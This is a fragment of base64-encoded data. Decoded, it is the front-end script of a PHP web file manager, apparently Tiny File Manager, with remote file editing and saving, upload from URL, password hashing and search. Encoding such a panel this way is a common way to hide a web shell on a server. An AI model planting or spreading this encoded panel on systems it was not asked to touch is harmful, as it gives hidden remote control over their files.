wIHdpdGggLmJjawogICAgICAgIHZhciBuID0gbmV3IFhNTEh0dHBSZXF1ZXN0LAogICAgICAgICAgICBhID0gInBhdGg9IiArIGUgKyAiJmZpbGU9IiArIHQgKyAiJnR5cGU9YmFja3VwJmFqYXg9dHJ1ZSI7CiAgICAgICAgcmV0dXJuIG4ub3BlbigiUE9TVCIsICIiLCAhMCksIG4uc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC10eXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpLCBuLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGZ1bmN0aW9uICgpIHsKICAgICAgICAgICAgNCA9PSBuLnJlYWR5U3RhdGUgJiYgMjAwID09IG4uc3RhdHVzICYmIHRvYXN0KG4ucmVzcG9uc2VUZXh0KQogICAgICAgIH0sIG4uc2VuZChhKSwgITEKICAgIH0KICAgIC8vIFRvYXN0IG1lc3NhZ2UKICAgIGZ1bmN0aW9uIHRvYXN0KHR4dCkgeyB2YXIgeCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzbmFja2JhciIpO3guaW5uZXJIVE1MPXR4dDt4LmNsYXNzTmFtZSA9ICJzaG93IjtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7IHguY2xhc3NOYW1lID0geC5jbGFzc05hbWUucmVwbGFjZSgic2hvdyIsICIiKTsgfSwgMzAwMCk7IH0KICAgIC8vU2F2ZSBmaWxlCiAgICBmdW5jdGlvbiBlZGl0X3NhdmUoZSwgdCkgewogICAgICAgIHZhciBuID0gImFjZSIgPT0gdCA/IGVkaXRvci5nZXRTZXNzaW9uKCkuZ2V0VmFsdWUoKSA6IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJub3JtYWwtZWRpdG9yIikudmFsdWU7CiAgICAgICAgaWYgKG4pIHsKICAgICAgICAgICAgaWYodHJ1ZSl7CiAgICAgICAgICAgICAgICB2YXIgZGF0YSA9IHthamF4OiB0cnVlLCBjb250ZW50OiBuLCB0eXBlOiAnc2F2ZSd9OwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAkLmFqYXgoewogICAgICAgICAgICAgICAgICAgIHR5cGU6ICJQT1NUIiwKICAgICAgICAgICAgICAgICAgICB1cmw6IHdpbmRvdy5sb2NhdGlvbiwKICAgICAgICAgICAgICAgICAgICAvLyBUaGUga2V5IG5lZWRzIHRvIG1hdGNoIHlvdXIgbWV0aG9kJ3MgaW5wdXQgcGFyYW1ldGVyIChjYXNlLXNlbnNpdGl2ZSkuCiAgICAgICAgICAgICAgICAgICAgZGF0YTogSlNPTi5zdHJpbmdpZnkoZGF0YSksCiAgICAgICAgICAgICAgICAgICAgY29udGVudFR5cGU6ICJtdWx0aXBhcnQvZm9ybS1kYXRhLWVuY29kZWQ7IGNoYXJzZXQ9dXRmLTgiLAogICAgICAgICAgICAgICAgICAgIC8vZGF0YVR5cGU6ICJqc29uIiwKICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihtZXMpe3RvYXN0KCJTYXZlZCBTdWNjZXNzZnVsbHkiKTsgd2luZG93Lm9uYmVmb3JldW5sb2FkID0gZnVuY3Rpb24oKSB7cmV0dXJufX0sCiAgICAgICAgICAgICAgICAgICAgZmFpbHVyZTogZnVuY3Rpb24obWVzKSB7dG9hc3QoIkVycm9yOiB0cnkgYWdhaW4iKTt9LAogICAgICAgICAgICAgICAgICAgIGVycm9yOiBmdW5jdGlvbihtZXMpIHt0b2FzdChgPHAgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6cmVkIj4ke21lcy5yZXNwb25zZVRleHR9PC9wPmApO30KICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZXsKICAgICAgICAgICAgICAgIHZhciBhID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZm9ybSIpOwogICAgICAgICAgICAgICAgYS5zZXRBdHRyaWJ1dGUoIm1ldGhvZCIsICJQT1NUIiksIGEuc2V0QXR0cmlidXRlKCJhY3Rpb24iLCAiIik7CiAgICAgICAgICAgICAgICB2YXIgbyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInRleHRhcmVhIik7CiAgICAgICAgICAgICAgICBvLnNldEF0dHJpYnV0ZSgidHlwZSIsICJ0ZXh0YXJlYSIpLCBvLnNldEF0dHJpYnV0ZSgibmFtZSIsICJzYXZlZGF0YSIpOwogICAgICAgICAgICAgICAgdmFyIGMgPSBkb2N1bWVudC5jcmVhdGVUZXh0Tm9kZShuKTsKICAgICAgICAgICAgICAgIG8uYXBwZW5kQ2hpbGQoYyksIGEuYXBwZW5kQ2hpbGQobyksIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSksIGEuc3VibWl0KCkKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIC8vQ2hlY2sgbGF0ZXN0IHZlcnNpb24KICAgIGZ1bmN0aW9uIGxhdGVzdF9yZWxlYXNlX2luZm8odikgewogICAgICAgIGlmKCEhd2luZG93LmNvbmZpZyl7dmFyIHRwbE9iaj17aWQ6MTAyNCx0aXRsZToiQ2hlY2sgVmVyc2lvbiIsYWN0aW9uOmZhbHNlfSx0cGw9JCgiI2pzLXRwbC1tb2RhbCIpLmh0bWwoKTsKICAgICAgICBpZih3aW5kb3cuY29uZmlnLnZlcnNpb24hPXYpe3RwbE9iai5jb250ZW50PXdpbmRvdy5jb25maWcubmV3VXBkYXRlO31lbHNle3RwbE9iai5jb250ZW50PXdpbmRvdy5jb25maWcubm9VcGRhdGU7fQogICAgICAgICQoJyN3cmFwcGVyJykuYXBwZW5kKHRlbXBsYXRlKHRwbCx0cGxPYmopKTskKCIjanMtTW9kYWxDZW50ZXItMTAyNCIpLm1vZGFsKCdzaG93Jyk7fWVsc2V7Zm1fZ2V0X2NvbmZpZygpO30KICAgIH0KICAgIGZ1bmN0aW9uIHNob3dfbmV3X3B3ZCgpIHsgJCgiLmpzLW5ldy1wd2QiKS50b2dnbGVDbGFzcygnaGlkZGVuJyk7IH0KICAgIC8vU2F2ZSBTZXR0aW5ncwogICAgZnVuY3Rpb24gc2F2ZV9zZXR0aW5ncygkdGhpcykgewogICAgICAgIGxldCBmb3JtID0gJCgkdGhpcyk7CiAgICAgICAgJC5hamF4KHsKICAgICAgICAgICAgdHlwZTogZm9ybS5hdHRyKCdtZXRob2QnKSwgdXJsOiBmb3JtLmF0dHIoJ2FjdGlvbicpLCBkYXRhOiBmb3JtLnNlcmlhbGl6ZSgpKyImYWpheD0iK3RydWUsCiAgICAgICAgICAgIHN1Y2Nlc3M6IGZ1bmN0aW9uIChkYXRhKSB7aWYoZGF0YSkgeyB3aW5kb3cubG9jYXRpb24ucmVsb2FkKCk7fX0KICAgICAgICB9KTsgcmV0dXJuIGZhbHNlOwogICAgfQogICAgLy9DcmVhdGUgbmV3IHBhc3N3b3JkIGhhc2gKICAgIGZ1bmN0aW9uIG5ld19wYXNzd29yZF9oYXNoKCR0aGlzKSB7CiAgICAgICAgbGV0IGZvcm0gPSAkKCR0aGlzKSwgJHB3ZCA9ICQoIiNqcy1wd2QtcmVzdWx0Iik7ICRwd2QudmFsKCcnKTsKICAgICAgICAkLmFqYXgoewogICAgICAgICAgICB0eXBlOiBmb3JtLmF0dHIoJ21ldGhvZCcpLCB1cmw6IGZvcm0uYXR0cignYWN0aW9uJyksIGRhdGE6IGZvcm0uc2VyaWFsaXplKCkrIiZhamF4PSIrdHJ1ZSwKICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24gKGRhdGEpIHsgaWYoZGF0YSkgeyAkcHdkLnZhbChkYXRhKTsgfSB9CiAgICAgICAgfSk7IHJldHVybiBmYWxzZTsKICAgIH0KICAgIC8vVXBsb2FkIGZpbGVzIHVzaW5nIFVSTCBAcGFyYW0ge09iamVjdH0KICAgIGZ1bmN0aW9uIHVwbG9hZF9mcm9tX3VybCgkdGhpcykgewogICAgICAgIGxldCBmb3JtID0gJCgkdGhpcyksIHJlc3VsdFdyYXBwZXIgPSAkKCJkaXYjanMtdXJsLXVwbG9hZF9fbGlzdCIpOwogICAgICAgICQuYWpheCh7CiAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSwgZGF0YTogZm9ybS5zZXJpYWxpemUoKSsiJmFqYXg9Iit0cnVlLAogICAgICAgICAgICBiZWZvcmVTZW5kOiBmdW5jdGlvbigpIHsgZm9ybS5maW5kKCJpbnB1dFtuYW1lPXVwbG9hZHVybF0iKS5hdHRyKCJkaXNhYmxlZCIsImRpc2FibGVkIik7IGZvcm0uZmluZCgiYnV0dG9uIikuaGlkZSgpOyBmb3JtLmZpbmQoIi5sZHMtZmFjZWJvb2siKS5hZGRDbGFzcygnc2hvdy1tZScpOyB9LAogICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbiAoZGF0YSkgewogICAgICAgICAgICAgICAgaWYoZGF0YSkgewogICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpOwogICAgICAgICAgICAgICAgICAgIGlmKGRhdGEuZG9uZSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXN1bHRXcmFwcGVyLmFwcGVuZCgnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyByb3ciPlVwbG9hZGVkIFN1Y2Nlc3NmdWw6ICcrZGF0YS5kb25lLm5hbWUrJzwvZGl2PicpOyBmb3JtLmZpbmQoImlucHV0W25hbWU9dXBsb2FkdXJsXSIpLnZhbCgnJyk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmKGRhdGFbJ2ZhaWwnXSkgeyByZXN1bHRXcmFwcGVyLmFwcGVuZCgnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZGFuZ2VyIHJvdyI+RXJyb3I6ICcrZGF0YS5mYWlsLm1lc3NhZ2UrJzwvZGl2PicpOyB9CiAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKCJpbnB1dFtuYW1lPXVwbG9hZHVybF0iKS5yZW1vdmVBdHRyKCJkaXNhYmxlZCIpO2Zvcm0uZmluZCgiYnV0dG9uIikuc2hvdygpO2Zvcm0uZmluZCgiLmxkcy1mYWNlYm9vayIpLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0sCiAgICAgICAgICAgIGVycm9yOiBmdW5jdGlvbih4aHIpIHsKICAgICAgICAgICAgICAgIGZvcm0uZmluZCgiaW5wdXRbbmFtZT11cGxvYWR1cmxdIikucmVtb3ZlQXR0cigiZGlzYWJsZWQiKTtmb3JtLmZpbmQoImJ1dHRvbiIpLnNob3coKTtmb3JtLmZpbmQoIi5sZHMtZmFjZWJvb2siKS5yZW1vdmVDbGFzcygnc2hvdy1tZScpO2NvbnNvbGUuZXJyb3IoeGhyKTsKICAgICAgICAgICAgfQogICAgICAgIH0pOyByZXR1cm4gZmFsc2U7CiAgICB9CiAgICAvL1NlYXJjaCB0ZW1wbGF0ZQogICAgZnVuY3Rpb24gc2VhcmNoX3RlbXBsYXRlKGRhdGEpIHsKICAgICAgICB2YXIgcmVzcG9uc2UgPSAiIjsKICAgICAgICAkLmVhY2goZGF0YSwgZnVuY3Rpb24gKGtleSwgdmFsKSB7CiAgICAgICAgICAgIHJlc3BvbnNlICs9IGA8bGk+PGEgaHJlZj0iP3A9JHt2YWwucGF0aH0mdmlldz0ke3ZhbC5uYW1lfSI+JHt2YWwucGF0aH0vJHt2YWwubmFtZX08L2E+PC9saT5gOwogICAgICAgIH0pOwogICAgICAgIHJldHVybiByZXNwb25zZTsKICAgIH0KICAgIC8vc2VhcmNoCiAgICBmdW5jdGlvbiBmbV9zZWFyY2goKSB7CiAgICAgICAgdmFyIHNlYXJjaFR4dCA9ICQoImlucHV0I2FkdmFuY2VkLXNlYXJjaCIpLnZhbCgpLCBzZWFyY2hXcmFwcGVyID0gJCgidWwjc2VhcmNoLXdyYXBwZXIiKSwgcGF0aCA9ICQoIiNqcy1zZWFyY2gtbW9kYWwiKS5hdHRyKCJocmVmIiksIF9odG1sID0gIiIsICRsb2FkZXIgPSAkKCJkaXYubGRzLWZhY2Vib29rIik7CiAgICAgICAgaWYoISFzZWFyY2hUeHQgJiYgc2VhcmNoVHh0Lmxlbmd0aCA+IDIgJiYgcGF0aCkgewogICAgICAgICAgICB2YXIgZGF0YSA9IHthamF4OiB0cnVlLCBjb250ZW50OiBzZWFyY2hUeHQsIHBhdGg6cGF0aCwgdHlwZTogJ3NlYXJjaCd9OwogICAgICAgICAgICAkLmFqYXgoewogICAgICAgICAgICAgICAgdHlwZTogIlBPU1QiLAogICAgICAgICAgICAgICAgdXJsOiB3aW5kb3cubG9jYXRpb24sCiAgICAgICAgICAgICAgICBkYXRhOiBkYXRhLAogICAgICAgICAgICAgICAgYmVmb3JlU2VuZDogZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCcnKTsKICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLmFkZENsYXNzKCdzaG93LW1lJyk7CiAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24oZGF0YSl7CiAgICAgICAgICAgICAgICAgICAgJGxvYWRlci5yZW1vdmVDbGFzcygnc2hvdy1tZScpOwogICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpOwogICAgICAgICAgICAgICAgICAgIGlmKGRhdGEgJiYgZGF0YS5sZW5ndGgpIHsKICAgICAgICAgICAgICAgICAgICAgICAgX2h0bWwgPSBzZWFyY2hfdGVtcGxhdGUoZGF0YSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNlYXJjaFdyYXBwZXIuaHRtbChfaHRtbCk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz0ibS0yIj5ObyByZXN1bHQgZm91bmQhPHA+Jyk7IH0KICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICBlcnJvcjogZnVuY3Rpb24oeGhyKSB7ICRsb2FkZXIucmVtb3ZlQ2xhc3MoJ3Nob3ctbWUnKTsgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz0ibS0yIj5FUlJPUjogVHJ5IGFnYWluIGxhdGVyITwvcD4nKTsgfSwKICAgICAgICAgICAgICAgIGZhaWx1cmU6IGZ1bmN0aW9uKG1lcykgeyAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7IHNlYXJjaFdyYXBwZXIuaHRtbCgnPHAgY2xhc3M9Im0tMiI+RVJST1I6IFRyeSBhZ2FpbiBsYXRlciE8L3A+Jyk7fQogICAgICAgICAgICB9KTsKICAgICAgICB9IGVsc2UgeyBzZWFyY2hXcmFwcGVyLmh0bWwoIk9PUFM6IG1pbmltdW0gMyBjaGFyYWN0ZXJzIHJlcXVpcmVkISIpOyB9CiAgICB9CgogICAgLy9vbiBtb3VzZSBob3ZlciBpbWFnZSBwcmV2aWV3CiAgICAhZnVuY3Rpb24ocyl7cy5wcmV2aWV3SW1hZ2U9ZnVuY3Rpb24oZSl7dmFyIG89cyhkb2N1bWVudCksdD0iLnByZXZpZXdJbWFnZSIsYT1zLmV4dGVuZCh7eE9mZnNldDoyMCx5T2Zmc2V0Oi0yMCxmYWRlSW46ImZhc3QiLGNzczp7cGFkZGluZzoiNXB4Iixib3JkZXI6IjFweCBzb2xpZCAjY2NjY2NjIiwiYmFja2dyb3VuZC1jb2xvciI6IiNmZmYifSxldmVudFNlbGVjdG9yOiJbZGF0YS1wcmV2aWV3LWltYWdlXSIsZGF0YUtleToicHJldmlld0ltYWdlIixvdmVybGF5SWQ6InByZXZpZXctaW1hZ2UtcGx1Z2luLW92ZXJsYXkifSxlKTtyZXR1cm4gby5vZmYodCksby5vbigibW91c2VvdmVyIit0LGEuZXZlbnRTZWxlY3RvcixmdW5jdGlvbihlKXtzKCJwIyIrYS5vdmVybGF5SWQpLnJlbW92ZSgpO3ZhciBvPXMoIjxwPiIpLmF0dHIoImlkIixhLm92ZXJsYXlJZCkuY3NzKCJwb3NpdGlvbiIsImFic29sdXRlIikuY3NzKCJkaXNwbGF5Iiwibm9uZSIpLmFwcGVuZChzKCc8aW1nIGNsYXNzPSJjLXByZXZpZXctaW1nIj4nKS5hdHRyKCJzcmMiLHModGhpcykuZGF0YShhLmRhdGFLZXkpKSk7YS5jc3MmJm8uY3NzKGEuY3NzKSxzKCJib2R5IikuYXBwZW5kKG8pLG8uY3NzKCJ0b3AiLGUucGFnZVkrYS55T2Zmc2V0KyJweCIpLmNzcygibGVmdCIsZS5wYWdlWCthLnhPZmZzZXQrInB4IikuZmFkZUluKGEuZmFkZUluKX0pLG8ub24oIm1vdXNlb3V0Iit0LGEuZXZlbnRTZWxlY3RvcixmdW5jdGlvbigpe3MoIiMiK2Eub3ZlcmxheUlkKS5yZW1vdmUoKX0pLG8ub24oIm1vdXNlbW92ZSIrdCxhLmV2ZW50U2VsZWN0b3IsZnVuY3Rpb24oZSl7cygiIyIrYS5vdmVybGF5SWQpLmNzcygidG9wIixlLnBhZ2VZK2EueU9mZnNldCsicHgiKS5jc3MoImxlZnQiLGUucGFnZVgrYS54T2Zmc2V0KyJweCIpfSksdGhpc30scy5wcmV2aWV3SW1hZ2UoKX0oalF1ZXJ5KTsKCgogICAgLy8gRG9tIFJlYWR5IEV2ZW50CiAgICAkKGRvY3VtZW50KS5yZWFkeSggZnVuY3Rpb24gKCkgewogICAgICAgIC8vbG9hZCBjb25maWcKICAgICAgICBmbV9nZXRfY29uZmlnKCk7CiAgICAgICAgLy9kYXRhVGFibGUgaW5pdAogICAgICAgIHZhciAkdGFibGUgPSAkKCcjbWFpbi10YWJsZScpLAogICAgICAgICAgICB0YWJsZUxuZyA9ICR0YWJsZS5maW5kKCd0aCcpLmxlbmd0aCwKICAgICAgICAgICAgX3RhcmdldHMgPSAodGFibGVMbmcgJiYgdGFibGVMbmcgPT0gNyApID8gWzAsIDQsNSw2XSA6IHRhYmxlTG5nID09IDUgPyBbMCw0XSA6IFszXSwKICAgICAgICAgICAgbWFpblRhYmxlID0gJCgnI21haW4tdGFibGUnKS5EYXRhVGFibGUoeyJwYWdpbmciOiAgIGZhbHNlLCAiaW5mbyI6ICAgICBmYWxzZSwgImNvbHVtbkRlZnMiOiBbeyJ0YXJnZXRzIjogX3RhcmdldHMsICJvcmRlcmFibGUiOiBmYWxzZX1dCiAgICAgICAgfSk7CiAgICAgICAgLy9zZWFyY2gKICAgICAgICAkKCcjc2VhcmNoLWFkZG9uJykub24oICdrZXl1cCcsIGZ1bmN0aW9uICgpIHsKICAgICAgICAgICAgbWFpblRhYmxlLnNlYXJjaCggdGhpcy52YWx1ZSApLmRyYXcoKTsKICAgICAgICB9KTsKICAgICAgICAkKCJpbnB1dCNhZHZhbmNlZC1zZWFyY2giKS5vbigna2V5dXAnLCBmdW5jdGlvbiAoZSkgewogICAgICAgICAgICBpZiAoZS5rZXlDb2RlID09PSAxMykgeyBmbV9zZWFyY2goKTsgfQogICAgICAgIH0pOwogICAgICAgICQoJyNzZWFyY2gtYWRkb24zJykub24oICdjbGljaycsIGZ1bmN0aW9uICgpIHsgZm1fc2VhcmNoKCk7IH0pOwogICAgICAgIC8vdXBsb2FkIG5hdiB0YWJzCiAgICAgICAgJCgiLmZtLXVwbG9hZC13cmFwcGVyIC5jYXJkLWhlYWRlci10YWJzIikub24oImNsaWNrIiwgJ2EnLCBmdW5jdGlvbihlKXsKICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpO2xldCB0YXJnZXQ9JCh0aGlzKS5kYXRhKCd0YXJnZXQnKTsKICAgICAgICAgICAgJCgiLmZtLXVwbG9hZC13cmFwcGVyIC5jYXJkLWhlYWRlci10YWJzIGEiKS5yZW1vdmVDbGFzcygnYWN0aXZlJyk7JCh0aGlzKS5hZGRDbGFzcygnYWN0aXZlJyk7CiAgICAgICAgICAgICQoIi5mbS11cGxvYWQtd3JhcHBlciAuY2FyZC10YWJzLWNvbnRhaW5lciIpLmFkZENsYXNzKCdoaWRkZW4nKTskKHRhcmdldCkucmVtb3ZlQ2xhc3MoJ2hpZGRlbicpOwogICAgICAgIH0pOwogICAgfSk7Cjwvc2NyaXB0Pgo8P3BocCBpZiAoaXNzZXQoJF9HRVRbJ2VkaXQnXSkgJiYgaXNzZXQoJF9HRVRbJ2VudiddKSAmJiBGTV9FRElUX0ZJTEUpOiAKICAgICAgICAkZXh0ID0gImphdmFzY3JpcHQiOwogICAgICAgICRleHQgPSBwYXRoaW5mbygkX0dFVFsiZWRpdCJdLCBQQVRISU5GT19FWFRFTlNJT04pOwogICAgICAgID8+CiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvYWNlLzEuNC4xL2FjZS5qcyI+PC9zY3JpcHQ+CiAgICA8c2NyaXB0PgogICAgICAgIHZhciBlZGl0b3IgPSBhY2UuZWRpdCgiZWRpdG9yIik7CiAgICAgICAgZWRpdG9yLmdldFNlc3Npb24oKS5zZXRNb2RlKCB7cGF0aDoiYWNlL21vZGUvPD9waHAgZWNobyAkZXh0OyA/PiIsIGlubGluZTp0cnVlfSApOwogICAgICAgIC8vZWRpdG9yLnNldFRoZW1lKCJhY2UvdGhlbWUvdHdpbGlnaHQiKTsgLy9EYXJrIFRoZW1lCiAgICAgICAgZnVuY3Rpb24gYWNlX2NvbW1lbmQgKGNtZCkgeyBlZGl0b3IuY29tbWFuZHMuZXhlYyhjbWQsIGVkaXRvcik7IH0KICAgICAgICBlZGl0b3IuY29tbWFuZHMuYWRkQ29tbWFuZHMoW3sKICAgICAgICAgICAgbmFtZTogJ3NhdmUnLCBiaW5kS2V5OiB7d2luOiAnQ3RybC1TJywgIG1hYzogJ0NvbW1hbmQtUyd9LAogICAgICAgICAgICBleGVjOiBmdW5jdGlvbihlZGl0b3IpIHsgZWRpdF9zYXZlKHRoaXMsICdhY2UnKTsgfQogICAgICAgIH1dKTsKICAgICAgICBmdW5jdGlvbiByZW5kZXJUaGVtZU1vZGUoKSB7CiAgICAgICAgICAgIHZhciAkbW9kZUVsID0gJCgic2VsZWN0I2pzLWFjZS1tb2RlIiksICR0aGVtZUVsID0gJCgic2VsZWN0I2pzLWFjZS10aGVtZSIpLCAkZm9udFNpemVFbCA9ICQoInNlbGVjdCNqcy1hY2UtZm9udFNpemUiKSwgb3B0aW9uTm9kZSA9IGZ1bmN0aW9uKHR5cGUsIGFycil7IHZhciAkT3B0aW9uID0gIiI7ICQuZWFjaChhcnIsIGZ1bmN0aW9uKGksIHZhbCkgeyAkT3B0aW9uICs9ICI8b3B0aW9uIHZhbHVlPSciK3R5cGUraSsiJz4iICsgdmFsICsgIjwvb3B0aW9uPiI7IH0pOyByZXR1cm4gJE9wdGlvbjsgfSwKICAgICAgICAgICAgICAgIF9kYXRhID0geyJhY2VUaGVtZSI6eyJicmlnaHQiOnsiY2hyb21lIjoiQ2hyb21lIiwiY2xvdWRzIjoiQ2xvdWRzIiwiY3JpbXNvbl9lZGl0b3IiOiJDcmltc29uIEVkaXRvciIsImRhd24iOiJEYXduIiwiZHJlYW13ZWF2ZXIiOiJEcmVhbXdlYXZlciIsImVjbGlwc2UiOiJFY2xpcHNlIiwiZ2l0aHViIjoiR2l0SHViIiwiaXBsYXN0aWMiOiJJUGxhc3RpYyIsInNvbGFyaXplZF9saWdodCI6IlNvbGFyaXplZCBMaWdodCIsInRleHRtYXRlIjoiVGV4dE1hdGUiLCJ0b21vcnJvdyI6IlRvbW9ycm93IiwieGNvZGUiOiJYQ29kZSIsImt1cm9pciI6Ikt1cm9pciIsImthdHplbm1pbGNoIjoiS2F0emVuTWlsY2giLCJzcWxzZXJ2ZXIiOiJTUUwgU2VydmVyIn0sImRhcmsiOnsiYW1iaWFuY2UiOiJBbWJpYW5jZSIsImNoYW9zIjoiQ2hhb3MiLCJjbG91ZHNfbWlkbmlnaHQiOiJDbG91ZHMgTWlkbmlnaHQiLCJkcmFjdWxhIjoiRHJhY3VsYSIsImNvYmFsdCI6IkNvYmFsdCIsImdydXZib3giOiJHcnV2Ym94IiwiZ29iIjoiR3JlZW4gb24gQmxhY2siLCJpZGxlX2ZpbmdlcnMiOiJpZGxlIEZpbmdlcnMiLCJrcl90aGVtZSI6ImtyVGhlbWUiLCJtZXJiaXZvcmUiOiJNZXJiaXZvcmUiLCJtZXJiaXZvcmVfc29mdCI6Ik1lcmJpdm9yZSBTb2Z0IiwibW9ub19pbmR1c3RyaWFsIjoiTW9ubyBJbmR1c3RyaWFsIiwibW9ub2thaSI6Ik1vbm9rYWkiLCJwYXN0ZWxfb25fZGFyayI6IlBhc3RlbCBvbiBkYXJrIiwic29sYXJpemVkX2RhcmsiOiJTb2xhcml6ZWQgRGFyayIsInRlcm1pbmFsIjoiVGVybWluYWwiLCJ0b21vcnJvd19uaWdodCI6IlRvbW9ycm93IE5pZ2h0IiwidG9tb3Jyb3dfbmlnaHRfYmx1ZSI6IlRvbW9ycm93IE5pZ2h0IEJsdWUiLCJ0b21vcnJvd19uaWdodF9icmlnaHQiOiJUb21vcnJvdyBOaWdodCBCcmlnaHQiLCJ0b21vcnJvd19uaWdodF9laWdodGllcyI6IlRvbW9ycm93IE5pZ2h0IDgwcyIsInR3aWxpZ2h0IjoiVHdpbGlnaHQiLCJ2aWJyYW50X2luayI6IlZpYnJhbnQgSW5rIn19LCJhY2VNb2RlIjp7ImphdmFzY3JpcHQiOiJKYXZhU2NyaXB0IiwiYWJhcCI6IkFCQVAiLCJhYmMiOiJBQkMiLCJhY3Rpb25zY3JpcHQiOiJBY3Rpb25TY3JpcHQiLCJhZGEiOiJBREEiLCJhcGFjaGVfY29uZiI6IkFwYWNoZSBDb25mIiwiYXNjaWlkb2MiOiJBc2NpaURvYyIsImFzbCI6IkFTTCIsImFzc2VtYmx5X3g4NiI6IkFzc2VtYmx5IHg4NiIsImF1dG9ob3RrZXkiOiJBdXRvSG90S2V5IiwiYXBleCI6IkFwZXgiLCJiYXRjaGZpbGUiOiJCYXRjaEZpbGUiLCJicm8iOiJCcm8iLCJjX2NwcCI6IkMgYW5kIEMrKyIsImM5c2VhcmNoIjoiQzlTZWFyY2giLCJjaXJydSI6IkNpcnJ1IiwiY2xvanVyZSI6IkNsb2p1cmUiLCJjb2JvbCI6IkNvYm9sIiwiY29mZmVlIjoiQ29mZmVlU2NyaXB0IiwiY29sZGZ1c2lvbiI6IkNvbGRGdXNpb24iLCJjc2hhcnAiOiJDIyIsImNzb3VuZF9kb2N1bWVudCI6IkNzb3VuZCBEb2N1bWVudCIsImNzb3VuZF9vcmNoZXN0cmEiOiJDc291bmQiLCJjc291bmRfc2NvcmUiOiJDc291bmQgU2NvcmUiLCJjc3MiOiJDU1MiLCJjdXJseSI6IkN1cmx5IiwiZCI6IkQiLCJkYXJ0IjoiRGFydCIsImRpZmYiOiJEaWZmIiwiZG9ja2VyZmlsZSI6IkRvY2tlcmZpbGUiLCJkb3QiOiJEb3QiLCJkcm9vbHMiOiJEcm9vbHMiLCJlZGlmYWN0IjoiRWRpZmFjdCIsImVpZmZlbCI6IkVpZmZlbCIsImVqcyI6IkVKUyIsImVsaXhpciI6IkVsaXhpciIsImVsbSI6IkVsbSIsImVybGFuZyI6IkVybGFuZyIsImZvcnRoIjoiRm9ydGgiLCJmb3J0cmFuIjoiRm9ydHJhbiIsImZzaGFycCI6IkZTaGFycCIsImZzbCI6IkZTTCIsImZ0bCI6IkZyZWVNYXJrZXIiLCJnY29kZSI6Ikdjb2RlIiwiZ2hlcmtpbiI6IkdoZXJraW4iLCJnaXRpZ25vcmUiOiJHaXRpZ25vcmUiLCJnbHNsIjoiR2xzbCIsImdvYnN0b25lcyI6IkdvYnN0b25lcyIsImdvbGFuZyI6IkdvIiwiZ3JhcGhxbHNjaGVtYSI6IkdyYXBoUUxTY2hlbWEiLCJncm9vdnkiOiJHcm9vdnkiLCJoYW1sIjoiSEFNTCIsImhhbmRsZWJhcnMiOiJIYW5kbGViYXJzIiwiaGFza2VsbCI6Ikhhc2tlbGwiLCJoYXNrZWxsX2NhYmFsIjoiSGFza2VsbCBDYWJhbCIsImhheGUiOiJoYVhlIiwiaGpzb24iOiJIanNvbiIsImh0bWwiOiJIVE1MIiwiaHRtbF9lbGl4aXIiOiJIVE1MIChFbGl4aXIpIiwiaHRtbF9ydWJ5IjoiSFRNTCAoUnVieSkiLCJpbmkiOiJJTkkiLCJpbyI6IklvIiwiamFjayI6IkphY2siLCJqYWRlIjoiSmFkZSIsImphdmEiOiJKYXZhIiwianNvbiI6IkpTT04iLCJqc29uaXEiOiJKU09OaXEiLCJqc3AiOiJKU1AiLCJqc3NtIjoiSlNTTSIsImpzeCI6IkpTWCIsImp1bGlhIjoiSnVsaWEiLCJrb3RsaW4iOiJLb3RsaW4iLCJsYXRleCI6IkxhVGVYIiwibGVzcyI6IkxFU1MiLCJsaXF1aWQiOiJMaXF1aWQiLCJsaXNwIjoiTGlzcCIsImxpdmVzY3JpcHQiOiJMaXZlU2NyaXB0IiwibG9naXFsIjoiTG9naVFMIiwibHNsIjoiTFNMIiwibHVhIjoiTHVhIiwibHVhcGFnZSI6Ikx1YVBhZ2UiLCJsdWNlbmUiOiJMdWNlbmUiLCJtYWtlZmls